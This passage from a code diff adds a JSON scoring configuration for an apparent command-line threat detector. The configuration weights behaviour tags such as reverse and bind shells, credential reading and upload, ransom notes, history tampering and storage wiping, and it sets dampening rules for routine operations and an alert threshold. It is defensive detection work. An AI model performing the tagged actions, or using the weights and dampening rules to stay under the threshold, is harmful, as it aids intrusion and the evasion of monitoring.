"points": 4.2
|
| 420 |
+
},
|
| 421 |
+
"inspect_network_state": {
|
| 422 |
+
"benign": true,
|
| 423 |
+
"family": "benign_context",
|
| 424 |
+
"points": -0.1
|
| 425 |
+
},
|
| 426 |
+
"inspect_storage_state": {
|
| 427 |
+
"benign": true,
|
| 428 |
+
"family": "benign_context",
|
| 429 |
+
"points": -0.1
|
| 430 |
+
},
|
| 431 |
+
"inspect_system_state": {
|
| 432 |
+
"benign": true,
|
| 433 |
+
"family": "benign_context",
|
| 434 |
+
"points": -0.15
|
| 435 |
+
},
|
| 436 |
+
"install_package": {
|
| 437 |
+
"family": "benign_context",
|
| 438 |
+
"operational": true,
|
| 439 |
+
"points": 0.1
|
| 440 |
+
},
|
| 441 |
+
"install_boot_persistence": {
|
| 442 |
+
"family": "persistence",
|
| 443 |
+
"markers": [
|
| 444 |
+
"persistence"
|
| 445 |
+
],
|
| 446 |
+
"points": 3.4
|
| 447 |
+
},
|
| 448 |
+
"load_ebpf_program": {
|
| 449 |
+
"family": "privilege",
|
| 450 |
+
"markers": [
|
| 451 |
+
"boundary_cross"
|
| 452 |
+
],
|
| 453 |
+
"points": 2.5
|
| 454 |
+
},
|
| 455 |
+
"load_kernel_module": {
|
| 456 |
+
"family": "privilege",
|
| 457 |
+
"markers": [
|
| 458 |
+
"boundary_cross"
|
| 459 |
+
],
|
| 460 |
+
"points": 2.5
|
| 461 |
+
},
|
| 462 |
+
"modify_audit_policy": {
|
| 463 |
+
"family": "identity_policy",
|
| 464 |
+
"markers": [
|
| 465 |
+
"identity_policy"
|
| 466 |
+
],
|
| 467 |
+
"points": 2.4
|
| 468 |
+
},
|
| 469 |
+
"modify_auth_policy": {
|
| 470 |
+
"family": "identity_policy",
|
| 471 |
+
"markers": [
|
| 472 |
+
"identity_policy"
|
| 473 |
+
],
|
| 474 |
+
"points": 3.2
|
| 475 |
+
},
|
| 476 |
+
"modify_cloud_identity_policy": {
|
| 477 |
+
"family": "cloud_identity",
|
| 478 |
+
"markers": [
|
| 479 |
+
"cloud_identity",
|
| 480 |
+
"identity_policy"
|
| 481 |
+
],
|
| 482 |
+
"points": 3.0
|
| 483 |
+
},
|
| 484 |
+
"modify_cloud_secret": {
|
| 485 |
+
"family": "credential_access",
|
| 486 |
+
"markers": [
|
| 487 |
+
"cloud_identity",
|
| 488 |
+
"credential_access"
|
| 489 |
+
],
|
| 490 |
+
"points": 2.8
|
| 491 |
+
},
|
| 492 |
+
"modify_cluster_auth_policy": {
|
| 493 |
+
"family": "identity_policy",
|
| 494 |
+
"markers": [
|
| 495 |
+
"identity_policy"
|
| 496 |
+
],
|
| 497 |
+
"points": 2.6
|
| 498 |
+
},
|
| 499 |
+
"modify_cluster_secret": {
|
| 500 |
+
"family": "credential_access",
|
| 501 |
+
"markers": [
|
| 502 |
+
"credential_access"
|
| 503 |
+
],
|
| 504 |
+
"points": 2.2
|
| 505 |
+
},
|
| 506 |
+
"modify_critical_system_path": {
|
| 507 |
+
"family": "privilege",
|
| 508 |
+
"markers": [
|
| 509 |
+
"boundary_cross"
|
| 510 |
+
],
|
| 511 |
+
"points": 2.6
|
| 512 |
+
},
|
| 513 |
+
"modify_database_account": {
|
| 514 |
+
"family": "identity_policy",
|
| 515 |
+
"markers": [
|
| 516 |
+
"identity_policy"
|
| 517 |
+
],
|
| 518 |
+
"points": 2.0
|
| 519 |
+
},
|
| 520 |
+
"modify_dynamic_loader": {
|
| 521 |
+
"family": "persistence",
|
| 522 |
+
"markers": [
|
| 523 |
+
"persistence"
|
| 524 |
+
],
|
| 525 |
+
"points": 3.2
|
| 526 |
+
},
|
| 527 |
+
"modify_mount_state": {
|
| 528 |
+
"family": "operational_access",
|
| 529 |
+
"operational": true,
|
| 530 |
+
"points": 0.4
|
| 531 |
+
},
|
| 532 |
+
"mount_remote_filesystem": {
|
| 533 |
+
"family": "operational_access",
|
| 534 |
+
"operational": true,
|
| 535 |
+
"points": 0.5
|
| 536 |
+
},
|
| 537 |
+
"modify_file_timestamp": {
|
| 538 |
+
"family": "anti_forensic",
|
| 539 |
+
"markers": [
|
| 540 |
+
"anti_forensic"
|
| 541 |
+
],
|
| 542 |
+
"points": 2.6
|
| 543 |
+
},
|
| 544 |
+
"modify_firewall_policy": {
|
| 545 |
+
"family": "identity_policy",
|
| 546 |
+
"markers": [
|
| 547 |
+
"identity_policy"
|
| 548 |
+
],
|
| 549 |
+
"points": 2.4
|
| 550 |
+
},
|
| 551 |
+
"modify_infrastructure_account": {
|
| 552 |
+
"family": "identity_policy",
|
| 553 |
+
"markers": [
|
| 554 |
+
"identity_policy"
|
| 555 |
+
],
|
| 556 |
+
"points": 1.9
|
| 557 |
+
},
|
| 558 |
+
"modify_pam_policy": {
|
| 559 |
+
"family": "identity_policy",
|
| 560 |
+
"markers": [
|
| 561 |
+
"identity_policy"
|
| 562 |
+
],
|
| 563 |
+
"points": 3.5
|
| 564 |
+
},
|
| 565 |
+
"modify_process_memory": {
|
| 566 |
+
"family": "privilege",
|
| 567 |
+
"markers": [
|
| 568 |
+
"boundary_cross"
|
| 569 |
+
],
|
| 570 |
+
"points": 3.8
|
| 571 |
+
},
|
| 572 |
+
"modify_kernel_memory": {
|
| 573 |
+
"family": "privilege",
|
| 574 |
+
"markers": [
|
| 575 |
+
"boundary_cross"
|
| 576 |
+
],
|
| 577 |
+
"points": 3.6
|
| 578 |
+
},
|
| 579 |
+
"modify_kernel_parameter": {
|
| 580 |
+
"family": "privilege",
|
| 581 |
+
"markers": [
|
| 582 |
+
"boundary_cross"
|
| 583 |
+
],
|
| 584 |
+
"points": 1.8
|
| 585 |
+
},
|
| 586 |
+
"modify_library_preload": {
|
| 587 |
+
"family": "persistence",
|
| 588 |
+
"markers": [
|
| 589 |
+
"persistence"
|
| 590 |
+
],
|
| 591 |
+
"points": 3.2
|
| 592 |
+
},
|
| 593 |
+
"modify_package_execution_hook": {
|
| 594 |
+
"family": "persistence",
|
| 595 |
+
"markers": [
|
| 596 |
+
"persistence"
|
| 597 |
+
],
|
| 598 |
+
"points": 2.7
|
| 599 |
+
},
|
| 600 |
+
"modify_repository_hook": {
|
| 601 |
+
"family": "persistence",
|
| 602 |
+
"markers": [
|
| 603 |
+
"persistence"
|
| 604 |
+
],
|
| 605 |
+
"points": 2.8
|
| 606 |
+
},
|
| 607 |
+
"modify_security_module_policy": {
|
| 608 |
+
"family": "privilege",
|
| 609 |
+
"markers": [
|
| 610 |
+
"boundary_cross",
|
| 611 |
+
"identity_policy"
|
| 612 |
+
],
|
| 613 |
+
"points": 2.8
|
| 614 |
+
},
|
| 615 |
+
"modify_scheduled_task": {
|
| 616 |
+
"family": "persistence",
|
| 617 |
+
"markers": [
|
| 618 |
+
"persistence"
|
| 619 |
+
],
|
| 620 |
+
"points": 2.5
|
| 621 |
+
},
|
| 622 |
+
"modify_service_state": {
|
| 623 |
+
"family": "operational_access",
|
| 624 |
+
"operational": true,
|
| 625 |
+
"points": 0.45
|
| 626 |
+
},
|
| 627 |
+
"modify_ssh_policy": {
|
| 628 |
+
"family": "identity_policy",
|
| 629 |
+
"markers": [
|
| 630 |
+
"identity_policy"
|
| 631 |
+
],
|
| 632 |
+
"points": 3.4
|
| 633 |
+
},
|
| 634 |
+
"modify_ssh_authorization": {
|
| 635 |
+
"family": "identity_policy",
|
| 636 |
+
"markers": [
|
| 637 |
+
"identity_policy"
|
| 638 |
+
],
|
| 639 |
+
"points": 2.4
|
| 640 |
+
},
|
| 641 |
+
"modify_sudo_policy": {
|
| 642 |
+
"family": "identity_policy",
|
| 643 |
+
"markers": [
|
| 644 |
+
"identity_policy"
|
| 645 |
+
],
|
| 646 |
+
"points": 3.6
|
| 647 |
+
},
|
| 648 |
+
"modify_shell_history": {
|
| 649 |
+
"family": "anti_forensic",
|
| 650 |
+
"markers": [
|
| 651 |
+
"anti_forensic"
|
| 652 |
+
],
|
| 653 |
+
"points": 2.6
|
| 654 |
+
},
|
| 655 |
+
"modify_shell_startup": {
|
| 656 |
+
"family": "persistence",
|
| 657 |
+
"markers": [
|
| 658 |
+
"persistence"
|
| 659 |
+
],
|
| 660 |
+
"points": 2.7
|
| 661 |
+
},
|
| 662 |
+
"modify_systemd_unit": {
|
| 663 |
+
"family": "persistence",
|
| 664 |
+
"markers": [
|
| 665 |
+
"persistence"
|
| 666 |
+
],
|
| 667 |
+
"points": 2.7
|
| 668 |
+
},
|
| 669 |
+
"modify_trust_store": {
|
| 670 |
+
"family": "identity_policy",
|
| 671 |
+
"markers": [
|
| 672 |
+
"boundary_cross",
|
| 673 |
+
"identity_policy"
|
| 674 |
+
],
|
| 675 |
+
"points": 3.0
|
| 676 |
+
},
|
| 677 |
+
"mount_host_into_container": {
|
| 678 |
+
"family": "boundary_cross",
|
| 679 |
+
"markers": [
|
| 680 |
+
"boundary_cross"
|
| 681 |
+
],
|
| 682 |
+
"points": 3.2
|
| 683 |
+
},
|
| 684 |
+
"manage_vpn_connection": {
|
| 685 |
+
"family": "operational_access",
|
| 686 |
+
"operational": true,
|
| 687 |
+
"points": 0.45
|
| 688 |
+
},
|
| 689 |
+
"open_data_service_session": {
|
| 690 |
+
"family": "operational_access",
|
| 691 |
+
"operational": true,
|
| 692 |
+
"points": 0.12
|
| 693 |
+
},
|
| 694 |
+
"probe_multiple_endpoints_multiple_ports": {
|
| 695 |
+
"family": "network_recon",
|
| 696 |
+
"markers": [
|
| 697 |
+
"recon"
|
| 698 |
+
],
|
| 699 |
+
"points": 2.0
|
| 700 |
+
},
|
| 701 |
+
"probe_web_application": {
|
| 702 |
+
"family": "network_recon",
|
| 703 |
+
"markers": [
|
| 704 |
+
"recon"
|
| 705 |
+
],
|
| 706 |
+
"points": 1.8
|
| 707 |
+
},
|
| 708 |
+
"query_database_data": {
|
| 709 |
+
"family": "operational_access",
|
| 710 |
+
"operational": true,
|
| 711 |
+
"points": 0.15
|
| 712 |
+
},
|
| 713 |
+
"run_performance_test": {
|
| 714 |
+
"family": "operational_access",
|
| 715 |
+
"operational": true,
|
| 716 |
+
"points": 0.2
|
| 717 |
+
},
|
| 718 |
+
"read_auth_audit_log": {
|
| 719 |
+
"family": "sensitive_access",
|
| 720 |
+
"markers": [
|
| 721 |
+
"sensitive_access"
|
| 722 |
+
],
|
| 723 |
+
"points": 1.8
|
| 724 |
+
},
|
| 725 |
+
"read_cloud_credentials": {
|
| 726 |
+
"family": "credential_access",
|
| 727 |
+
"markers": [
|
| 728 |
+
"credential_access",
|
| 729 |
+
"cloud_identity"
|
| 730 |
+
],
|
| 731 |
+
"points": 3.0
|
| 732 |
+
},
|
| 733 |
+
"read_cloud_secret": {
|
| 734 |
+
"family": "credential_access",
|
| 735 |
+
"markers": [
|
| 736 |
+
"cloud_identity",
|
| 737 |
+
"credential_access"
|
| 738 |
+
],
|
| 739 |
+
"points": 2.8
|
| 740 |
+
},
|
| 741 |
+
"read_cluster_secret": {
|
| 742 |
+
"family": "credential_access",
|
| 743 |
+
"markers": [
|
| 744 |
+
"credential_access"
|
| 745 |
+
],
|
| 746 |
+
"points": 2.8
|
| 747 |
+
},
|
| 748 |
+
"read_container_secret": {
|
| 749 |
+
"family": "credential_access",
|
| 750 |
+
"markers": [
|
| 751 |
+
"credential_access"
|
| 752 |
+
],
|
| 753 |
+
"points": 2.9
|
| 754 |
+
},
|
| 755 |
+
"read_credential_material": {
|
| 756 |
+
"family": "credential_access",
|
| 757 |
+
"markers": [
|
| 758 |
+
"credential_access"
|
| 759 |
+
],
|
| 760 |
+
"points": 2.8
|
| 761 |
+
},
|
| 762 |
+
"read_infrastructure_config": {
|
| 763 |
+
"family": "operational_access",
|
| 764 |
+
"operational": true,
|
| 765 |
+
"points": 0.1
|
| 766 |
+
},
|
| 767 |
+
"read_kernel_memory": {
|
| 768 |
+
"family": "sensitive_access",
|
| 769 |
+
"markers": [
|
| 770 |
+
"boundary_cross",
|
| 771 |
+
"sensitive_access"
|
| 772 |
+
],
|
| 773 |
+
"points": 2.5
|
| 774 |
+
},
|
| 775 |
+
"read_shell_history": {
|
| 776 |
+
"family": "history_access",
|
| 777 |
+
"markers": [
|
| 778 |
+
"sensitive_access"
|
| 779 |
+
],
|
| 780 |
+
"points": 2.2
|
| 781 |
+
},
|
| 782 |
+
"read_system_audit_log": {
|
| 783 |
+
"family": "sensitive_access",
|
| 784 |
+
"markers": [
|
| 785 |
+
"sensitive_access"
|
| 786 |
+
],
|
| 787 |
+
"points": 1.8
|
| 788 |
+
},
|
| 789 |
+
"read_system_config": {
|
| 790 |
+
"benign": true,
|
| 791 |
+
"family": "benign_context",
|
| 792 |
+
"points": 0.05
|
| 793 |
+
},
|
| 794 |
+
"search_credentials": {
|
| 795 |
+
"family": "credential_access",
|
| 796 |
+
"markers": [
|
| 797 |
+
"credential_access"
|
| 798 |
+
],
|
| 799 |
+
"points": 3.1
|
| 800 |
+
},
|
| 801 |
+
"search_sensitive_files": {
|
| 802 |
+
"family": "sensitive_access",
|
| 803 |
+
"markers": [
|
| 804 |
+
"credential_access"
|
| 805 |
+
],
|
| 806 |
+
"points": 2.4
|
| 807 |
+
},
|
| 808 |
+
"set_file_capability": {
|
| 809 |
+
"family": "privilege",
|
| 810 |
+
"markers": [
|
| 811 |
+
"boundary_cross"
|
| 812 |
+
],
|
| 813 |
+
"points": 3.0
|
| 814 |
+
},
|
| 815 |
+
"set_immutable_file_attribute": {
|
| 816 |
+
"family": "anti_forensic",
|
| 817 |
+
"markers": [
|
| 818 |
+
"anti_forensic"
|
| 819 |
+
],
|
| 820 |
+
"points": 1.8
|
| 821 |
+
},
|
| 822 |
+
"set_sgid_permission": {
|
| 823 |
+
"family": "privilege",
|
| 824 |
+
"markers": [
|
| 825 |
+
"boundary_cross"
|
| 826 |
+
],
|
| 827 |
+
"points": 2.4
|
| 828 |
+
},
|
| 829 |
+
"set_suid_permission": {
|
| 830 |
+
"family": "privilege",
|
| 831 |
+
"markers": [
|
| 832 |
+
"boundary_cross"
|
| 833 |
+
],
|
| 834 |
+
"points": 3.2
|
| 835 |
+
},
|
| 836 |
+
"securely_delete_data": {
|
| 837 |
+
"family": "destructive",
|
| 838 |
+
"markers": [
|
| 839 |
+
"destructive"
|
| 840 |
+
],
|
| 841 |
+
"points": 3.1
|
| 842 |
+
},
|
| 843 |
+
"spawn_bind_shell": {
|
| 844 |
+
"explicit_attack": true,
|
| 845 |
+
"family": "remote_access",
|
| 846 |
+
"markers": [
|
| 847 |
+
"remote_access",
|
| 848 |
+
"ingress_execution"
|
| 849 |
+
],
|
| 850 |
+
"points": 5.0
|
| 851 |
+
},
|
| 852 |
+
"spawn_reverse_shell": {
|
| 853 |
+
"explicit_attack": true,
|
| 854 |
+
"family": "remote_access",
|
| 855 |
+
"markers": [
|
| 856 |
+
"remote_access",
|
| 857 |
+
"ingress_execution"
|
| 858 |
+
],
|
| 859 |
+
"points": 5.2
|
| 860 |
+
},
|
| 861 |
+
"stage_hidden_path": {
|
| 862 |
+
"family": "anti_forensic",
|
| 863 |
+
"markers": [
|
| 864 |
+
"anti_forensic"
|
| 865 |
+
],
|
| 866 |
+
"points": 2.2
|
| 867 |
+
},
|
| 868 |
+
"stage_temporary_path": {
|
| 869 |
+
"family": "data_movement",
|
| 870 |
+
"points": 1.0
|
| 871 |
+
},
|
| 872 |
+
"export_database_dump": {
|
| 873 |
+
"family": "operational_access",
|
| 874 |
+
"operational": true,
|
| 875 |
+
"points": 0.25
|
| 876 |
+
},
|
| 877 |
+
"inspect_service": {
|
| 878 |
+
"family": "operational_access",
|
| 879 |
+
"operational": true,
|
| 880 |
+
"points": 0.1
|
| 881 |
+
},
|
| 882 |
+
"manage_infrastructure_backup": {
|
| 883 |
+
"family": "operational_access",
|
| 884 |
+
"operational": true,
|
| 885 |
+
"points": 0.2
|
| 886 |
+
},
|
| 887 |
+
"upload_credential_material": {
|
| 888 |
+
"family": "data_egress",
|
| 889 |
+
"markers": [
|
| 890 |
+
"egress",
|
| 891 |
+
"credential_access"
|
| 892 |
+
],
|
| 893 |
+
"points": 3.4
|
| 894 |
+
},
|
| 895 |
+
"upload_external_content": {
|
| 896 |
+
"family": "data_egress",
|
| 897 |
+
"markers": [
|
| 898 |
+
"egress"
|
| 899 |
+
],
|
| 900 |
+
"points": 2.6
|
| 901 |
+
},
|
| 902 |
+
"upload_internal_content": {
|
| 903 |
+
"family": "data_movement",
|
| 904 |
+
"operational": true,
|
| 905 |
+
"points": 0.6
|
| 906 |
+
},
|
| 907 |
+
"upload_sensitive_content": {
|
| 908 |
+
"family": "data_egress",
|
| 909 |
+
"markers": [
|
| 910 |
+
"egress",
|
| 911 |
+
"business_sensitive"
|
| 912 |
+
],
|
| 913 |
+
"points": 3.2
|
| 914 |
+
},
|
| 915 |
+
"wipe_storage": {
|
| 916 |
+
"family": "destructive",
|
| 917 |
+
"markers": [
|
| 918 |
+
"destructive"
|
| 919 |
+
],
|
| 920 |
+
"points": 3.4
|
| 921 |
+
},
|
| 922 |
+
"write_executable_content": {
|
| 923 |
+
"family": "execution_bootstrap",
|
| 924 |
+
"markers": [
|
| 925 |
+
"ingress_execution"
|
| 926 |
+
],
|
| 927 |
+
"points": 1.8
|
| 928 |
+
},
|
| 929 |
+
"write_kernel_module_content": {
|
| 930 |
+
"family": "privilege",
|
| 931 |
+
"markers": [
|
| 932 |
+
"boundary_cross"
|
| 933 |
+
],
|
| 934 |
+
"points": 3.0
|
| 935 |
+
},
|
| 936 |
+
"write_ransom_note": {
|
| 937 |
+
"explicit_attack": true,
|
| 938 |
+
"family": "destructive",
|
| 939 |
+
"markers": [
|
| 940 |
+
"destructive"
|
| 941 |
+
],
|
| 942 |
+
"points": 4.5
|
| 943 |
+
},
|
| 944 |
+
"write_shared_library_content": {
|
| 945 |
+
"family": "persistence",
|
| 946 |
+
"markers": [
|
| 947 |
+
"persistence"
|
| 948 |
+
],
|
| 949 |
+
"points": 2.4
|
| 950 |
+
},
|
| 951 |
+
"write_system_executable_content": {
|
| 952 |
+
"family": "persistence",
|
| 953 |
+
"markers": [
|
| 954 |
+
"boundary_cross",
|
| 955 |
+
"persistence"
|
| 956 |
+
],
|
| 957 |
+
"points": 3.0
|
| 958 |
+
},
|
| 959 |
+
"write_web_script_content": {
|
| 960 |
+
"family": "persistence",
|
| 961 |
+
"markers": [
|
| 962 |
+
"persistence"
|
| 963 |
+
],
|
| 964 |
+
"points": 3.0
|
| 965 |
+
},
|
| 966 |
+
"write_secret_store": {
|
| 967 |
+
"family": "credential_access",
|
| 968 |
+
"markers": [
|
| 969 |
+
"credential_access"
|
| 970 |
+
],
|
| 971 |
+
"points": 2.0
|
| 972 |
+
}
|
| 973 |
+
},
|
| 974 |
+
"scoring_routine_maintenance": {
|
| 975 |
+
"purpose": "Scoring-only dampening for cmdlines that are unambiguously normal maintenance. Not the same as tag_overrides.operational taxonomy flags.",
|
| 976 |
+
"tags": [
|
| 977 |
+
"build_source_code",
|
| 978 |
+
"clone_source_repository",
|
| 979 |
+
"consume_message",
|
| 980 |
+
"delete_source_code",
|
| 981 |
+
"download_object_storage",
|
| 982 |
+
"enumerate_database_schema",
|
| 983 |
+
"enumerate_object_storage",
|
| 984 |
+
"enumerate_packages",
|
| 985 |
+
"enumerate_services",
|
| 986 |
+
"execute_package_hook",
|
| 987 |
+
"export_database_dump",
|
| 988 |
+
"flush_cache_data",
|
| 989 |
+
"generate_artifact_digest",
|
| 990 |
+
"import_database_dump",
|
| 991 |
+
"inspect_audit_policy",
|
| 992 |
+
"inspect_infrastructure_service",
|
| 993 |
+
"inspect_network_state",
|
| 994 |
+
"inspect_service",
|
| 995 |
+
"inspect_storage_state",
|
| 996 |
+
"inspect_system_state",
|
| 997 |
+
"install_package",
|
| 998 |
+
"manage_database_backup",
|
| 999 |
+
"manage_infrastructure_backup",
|
| 1000 |
+
"manage_vpn_connection",
|
| 1001 |
+
"modify_language_dependency",
|
| 1002 |
+
"modify_mount_state",
|
| 1003 |
+
"modify_object_storage",
|
| 1004 |
+
"modify_service_state",
|
| 1005 |
+
"modify_source_code",
|
| 1006 |
+
"modify_source_repository",
|
| 1007 |
+
"mount_remote_filesystem",
|
| 1008 |
+
"open_data_service_session",
|
| 1009 |
+
"publish_message",
|
| 1010 |
+
"query_cache_data",
|
| 1011 |
+
"query_database_data",
|
| 1012 |
+
"read_business_log",
|
| 1013 |
+
"read_infrastructure_config",
|
| 1014 |
+
"read_infrastructure_log",
|
| 1015 |
+
"read_source_repository",
|
| 1016 |
+
"read_system_config",
|
| 1017 |
+
"read_system_log",
|
| 1018 |
+
"read_workload_logs",
|
| 1019 |
+
"run_performance_test",
|
| 1020 |
+
"sign_artifact",
|
| 1021 |
+
"simulate_package_install",
|
| 1022 |
+
"uninstall_package",
|
| 1023 |
+
"update_package",
|
| 1024 |
+
"update_source_repository",
|
| 1025 |
+
"upload_internal_content",
|
| 1026 |
+
"upload_object_storage",
|
| 1027 |
+
"verify_artifact_integrity"
|
| 1028 |
+
],
|
| 1029 |
+
"event_multiplier": 0.4,
|
| 1030 |
+
"event_score_cap": 4.0,
|
| 1031 |
+
"taxonomy_operational_event_multiplier": 0.75,
|
| 1032 |
+
"window_multiplier_full": 0.35,
|
| 1033 |
+
"window_multiplier_majority": 0.48,
|
| 1034 |
+
"majority_ratio": 0.55,
|
| 1035 |
+
"alert_score_cap_full": 5.0
|
| 1036 |
+
},
|
| 1037 |
+
"scoring_professional_operations": {
|
| 1038 |
+
"purpose": "Session-level negative context for cohesive, professional operations. This is not a whitelist: it only applies when professional operations dominate the window, anchor evidence is present, explicit attacks are absent, and non-professional hard attack markers are absent. Business-sensitive backup/egress/destructive maintenance semantics are allowed to damp only inside that strong professional context.",
|
| 1039 |
+
"tags": [
|
| 1040 |
+
"append_system_log",
|
| 1041 |
+
"apply_infrastructure_template",
|
| 1042 |
+
"build_container_image",
|
| 1043 |
+
"build_source_code",
|
| 1044 |
+
"clone_source_repository",
|
| 1045 |
+
"configure_cloud_cli",
|
| 1046 |
+
"connect_cloud_database",
|
| 1047 |
+
"consume_message",
|
| 1048 |
+
"create_cloud_resource",
|
| 1049 |
+
"create_container_pod",
|
| 1050 |
+
"create_database",
|
| 1051 |
+
"create_local_kubernetes_cluster",
|
| 1052 |
+
"deploy_cloud_template",
|
| 1053 |
+
"disable_service",
|
| 1054 |
+
"download_object_storage",
|
| 1055 |
+
"enable_service",
|
| 1056 |
+
"enumerate_cluster_resources",
|
| 1057 |
+
"enumerate_container_images",
|
| 1058 |
+
"enumerate_database_schema",
|
| 1059 |
+
"enumerate_object_storage",
|
| 1060 |
+
"export_cluster_resources",
|
| 1061 |
+
"export_database_dump",
|
| 1062 |
+
"flush_cache_data",
|
| 1063 |
+
"generate_artifact_digest",
|
| 1064 |
+
"import_database_dump",
|
| 1065 |
+
"initialize_infrastructure_template",
|
| 1066 |
+
"inspect_audit_policy",
|
| 1067 |
+
"inspect_container_image",
|
| 1068 |
+
"inspect_container_runtime",
|
| 1069 |
+
"inspect_firewall_policy",
|
| 1070 |
+
"inspect_infrastructure_service",
|
| 1071 |
+
"inspect_network_state",
|
| 1072 |
+
"inspect_service",
|
| 1073 |
+
"inspect_storage_state",
|
| 1074 |
+
"inspect_system_state",
|
| 1075 |
+
"inspect_workload",
|
| 1076 |
+
"install_package",
|
| 1077 |
+
"manage_database_backup",
|
| 1078 |
+
"manage_infrastructure_backup",
|
| 1079 |
+
"manage_vpn_connection",
|
| 1080 |
+
"manage_snapshot",
|
| 1081 |
+
"modify_cache_data",
|
| 1082 |
+
"modify_cloud_firewall",
|
| 1083 |
+
"modify_cloud_resource",
|
| 1084 |
+
"modify_container_network",
|
| 1085 |
+
"modify_container_state",
|
| 1086 |
+
"modify_database_data",
|
| 1087 |
+
"modify_database_replication",
|
| 1088 |
+
"modify_database_schema",
|
| 1089 |
+
"modify_infrastructure_config",
|
| 1090 |
+
"modify_mount_state",
|
| 1091 |
+
"modify_object_storage",
|
| 1092 |
+
"modify_service_state",
|
| 1093 |
+
"modify_source_code",
|
| 1094 |
+
"modify_source_repository",
|
| 1095 |
+
"modify_storage_volume",
|
| 1096 |
+
"modify_workload",
|
| 1097 |
+
"open_data_service_session",
|
| 1098 |
+
"plan_infrastructure_template",
|
| 1099 |
+
"port_forward_workload",
|
| 1100 |
+
"publish_message",
|
| 1101 |
+
"publish_source_repository",
|
| 1102 |
+
"query_cache_data",
|
| 1103 |
+
"query_cloud_audit",
|
| 1104 |
+
"query_cloud_database",
|
| 1105 |
+
"query_database_data",
|
| 1106 |
+
"query_dns_records",
|
| 1107 |
+
"query_service_health",
|
| 1108 |
+
"read_business_log",
|
| 1109 |
+
"read_cluster_context",
|
| 1110 |
+
"read_infrastructure_config",
|
| 1111 |
+
"read_infrastructure_log",
|
| 1112 |
+
"read_mailbox",
|
| 1113 |
+
"read_service_metrics",
|
| 1114 |
+
"read_source_repository",
|
| 1115 |
+
"read_system_config",
|
| 1116 |
+
"read_system_log",
|
| 1117 |
+
"read_workload_logs",
|
| 1118 |
+
"resize_filesystem",
|
| 1119 |
+
"run_performance_test",
|
| 1120 |
+
"scan_container_image",
|
| 1121 |
+
"sign_artifact",
|
| 1122 |
+
"simulate_package_install",
|
| 1123 |
+
"transfer_container_image",
|
| 1124 |
+
"uninstall_package",
|
| 1125 |
+
"update_package",
|
| 1126 |
+
"update_source_repository",
|
| 1127 |
+
"upload_internal_content",
|
| 1128 |
+
"upload_object_storage",
|
| 1129 |
+
"verify_artifact_integrity",
|
| 1130 |
+
"verify_auth_policy"
|
| 1131 |
+
],
|
| 1132 |
+
"anchor_tags": [
|
| 1133 |
+
"export_cluster_resources",
|
| 1134 |
+
"generate_artifact_digest",
|
| 1135 |
+
"inspect_audit_policy",
|
| 1136 |
+
"inspect_container_image",
|
| 1137 |
+
"inspect_container_runtime",
|
| 1138 |
+
"inspect_firewall_policy",
|
| 1139 |
+
"inspect_infrastructure_service",
|
| 1140 |
+
"inspect_network_state",
|
| 1141 |
+
"inspect_service",
|
| 1142 |
+
"inspect_storage_state",
|
| 1143 |
+
"inspect_system_state",
|
| 1144 |
+
"inspect_workload",
|
| 1145 |
+
"manage_database_backup",
|
| 1146 |
+
"manage_infrastructure_backup",
|
| 1147 |
+
"plan_infrastructure_template",
|
| 1148 |
+
"query_cloud_audit",
|
| 1149 |
+
"query_service_health",
|
| 1150 |
+
"read_cluster_context",
|
| 1151 |
+
"read_infrastructure_log",
|
| 1152 |
+
"read_service_metrics",
|
| 1153 |
+
"read_system_log",
|
| 1154 |
+
"read_workload_logs",
|
| 1155 |
+
"scan_container_image",
|
| 1156 |
+
"sign_artifact",
|
| 1157 |
+
"simulate_package_install",
|
| 1158 |
+
"verify_artifact_integrity",
|
| 1159 |
+
"verify_auth_policy"
|
| 1160 |
+
],
|
| 1161 |
+
"sensitive_tags": [
|
| 1162 |
+
"grant_cloud_privilege",
|
| 1163 |
+
"grant_cluster_privilege",
|
| 1164 |
+
"grant_database_privilege",
|
| 1165 |
+
"grant_infrastructure_privilege",
|
| 1166 |
+
"grant_user_privilege",
|
| 1167 |
+
"create_cluster_secret",
|
| 1168 |
+
"create_credential_material",
|
| 1169 |
+
"modify_audit_policy",
|
| 1170 |
+
"modify_auth_policy",
|
| 1171 |
+
"modify_cloud_identity_policy",
|
| 1172 |
+
"modify_cluster_auth_policy",
|
| 1173 |
+
"modify_cluster_secret",
|
| 1174 |
+
"modify_database_account",
|
| 1175 |
+
"modify_firewall_policy",
|
| 1176 |
+
"modify_group_membership",
|
| 1177 |
+
"modify_infrastructure_account",
|
| 1178 |
+
"modify_pam_policy",
|
| 1179 |
+
"modify_ssh_authorization",
|
| 1180 |
+
"modify_ssh_policy",
|
| 1181 |
+
"modify_sudo_policy",
|
| 1182 |
+
"modify_user_access_state",
|
| 1183 |
+
"read_credential_material",
|
| 1184 |
+
"read_secret_store",
|
| 1185 |
+
"revoke_cloud_privilege",
|
| 1186 |
+
"revoke_database_privilege",
|
| 1187 |
+
"revoke_infrastructure_privilege",
|
| 1188 |
+
"revoke_user_privilege",
|
| 1189 |
+
"write_secret_store"
|
| 1190 |
+
],
|
| 1191 |
+
"blocking_markers": [
|
| 1192 |
+
"anti_forensic",
|
| 1193 |
+
"boundary_cross",
|
| 1194 |
+
"cloud_remote_execution",
|
| 1195 |
+
"ingress_execution",
|
| 1196 |
+
"persistence",
|
| 1197 |
+
"remote_access"
|
| 1198 |
+
],
|
| 1199 |
+
"min_events": 3,
|
| 1200 |
+
"min_anchor_events": 2,
|
| 1201 |
+
"moderate_ratio": 0.45,
|
| 1202 |
+
"moderate_multiplier": 0.84,
|
| 1203 |
+
"strong_ratio": 0.65,
|
| 1204 |
+
"strong_multiplier": 0.72
|
| 1205 |
+
},
|
| 1206 |
+
"threshold_score": 8.75
|
| 1207 |
+
}
|
l2_artifacts/train_summary.json
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
